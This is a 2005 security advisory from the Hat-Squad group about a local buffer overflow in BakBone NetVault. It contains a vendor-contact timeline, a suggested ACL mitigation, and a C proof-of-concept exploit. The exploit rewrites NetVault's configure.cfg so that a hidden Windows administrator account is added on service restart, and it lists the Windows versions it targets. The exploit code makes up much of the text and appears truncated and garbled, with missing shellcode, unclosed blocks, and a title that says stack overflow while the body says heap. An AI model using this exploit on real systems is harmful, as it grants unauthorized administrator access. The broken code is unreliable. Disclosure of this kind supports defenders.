April 01, 2005
Hat-Squad Advisory: BakBone NetVault Local Stack Buffer Overflow

Hat-Squad Advisory: BakBone NetVault Local Heap Buffer Overflow
April 1, 2005

Product: BakBone NetVault
Vendor URL: http://www.bakbone.com
Version: NetVault 7.x, 6.x
Vulnerability: Local Heap Buffer overflows
Release Date:1 April 2005

Vendor Status:

17-3-2005: vendor notification #1/3
18-3-2005: vendor notification #2/3
19-3-2005: vendor notification #3/3
21-3-2005: vendor RE-notification #1/1
24-3-2005: vendor wake up
Response: I'm on a business trip!


NetVault is a professional backup and restore solution for eterogeneous UNIX, Windows NT/2000, Linux and Netware enterprise environments.With NetVault you can rapidly add and configure new servers, devices and clients, and control them from a central location.


Problem details and proof of concept for this vulnerability could be found here

Proof of Concept:

for more informations class101.org/netv-locsbof.pdf

#include <stdio.h>
#include <string.h>
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>

char scode1[]=
/*add u:class101 p:class101 (*Administrators *users)*/

static char payload[8000];
FILE *fl, *fl2;
char *fp, line[1024];

int check(int argc,char *argv[]),i=0,j=0;
int check2();
void ver();
void usage(char* us);

char EOL[]="\x0D\x0A";
char esp[]="\xDD\x20\x02\x10";
char vul[]="\x4E\x61\x6D\x65\x3D";
char fun[]="\x3C\x63\x30\x64\x33\x72\x3E\x20\x27\x6C\x6F\x20\x49\x27\x6D\x20"

int main(int argc,char *argv[])
if (argc>5||argc<2||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;}
if (check(argc,argv)==-1){return -1;}
while (!feof(fl))
fgets(line, sizeof(line),fl);
if (strstr(line,vul)){
if (i==2){
if (strstr(payload,vul)==NULL||j==1){
printf("[+] \"%s\" isn't a default NetVault file..\n",fp);return -1;}
if (check2()==1){
printf("[+] \"%s\" correctly exploited\n",fp);
printf("[+] a service restart is needed to execute the payload\n");
else printf("[+] can't write to \"%s\", something is wrong...\n",fp);
return 0;


int check(int argc,char *argv[])
if (argc>2){fp=argv[2];}
else fp="configure.cfg";
if ((fl =fopen(fp,"r+"))==NULL){
printf("[+] \"%s\" not found or no rights to read/write\n",fp);return -1;}
return 1;

int check2()
if ((fl =fopen(fp,"r+"))==NULL)
return -1;
else return 1;

void usage(char* us)
printf("[+] . 101_netv.exe Target (adduser mode) \n");
printf("[+] . 101_netv.exe Target YourFile.cfg (adduser mode) \n");
printf("TARGETS: \n");
printf("[+] 1. Win2k SP4 Server English (*) - v5.0.2195 \n");
printf("[+] 1. Win2k SP4 Pro English (*) - v5.0.2195 \n");
printf("[+] 1. WinXP SP0 Pro. English - v5.1.2600 \n");
printf("[+] 1. WinXP SP1 Pro. English (*) - v5.1.2600 \n");
printf("[+] 1. WinXP SP1a Pro. English (*) - v5.1.2600 \n");
printf("[+] 1. WinXP SP2 Pro. English (*) - v5.1.2600.2180 \n");
printf("[+] 1. Win2k3 SP0 Server English (*) - v5.2.3790 \n");
printf("NOTE: \n");
printf("The exploit mods the netvault's cfg file to add a win32 \n");
printf("user:class101 pass:class101 after a restart of the netvault service. \n");
printf("A wildcard (*) mean tested working, else, supposed working. \n");
printf("A symbol (-) mean all. \n");
printf("Compilation msvc6, cygwin, Linux. \n");

void ver()
printf(" \n");
printf("=====BakBone NetVault, Backup Server===============\n");
printf("=====Computername, Local Buffer Overflow Exploit=========\n");
printf("======coded by class101=======[Hat-Squad.com 2005]=====\n");
printf(" \n");


At the moment writing this advisory, no patch were released, we can only suggest to :

Set STRICTS ACL rules, for example, allow ONLY SYSTEM to write in configure.cfg. This will protect against Local attack.


This Vulnerability has been Discoverd By class101 (class101@hat-squad.com)


This Advisory is provided on an "AS IS" basis and does not imply any kind of guarantee or warranty. Neither the author nor the publisher accepts any liability for any direct, indirect,or consequential loss or damage arising from use of, or reliance on, this informations.


Join Hat-Squad Mailing List

E-mail Address:


Copyright 2003-2004, Hat-Squad security Group, All rights reserved.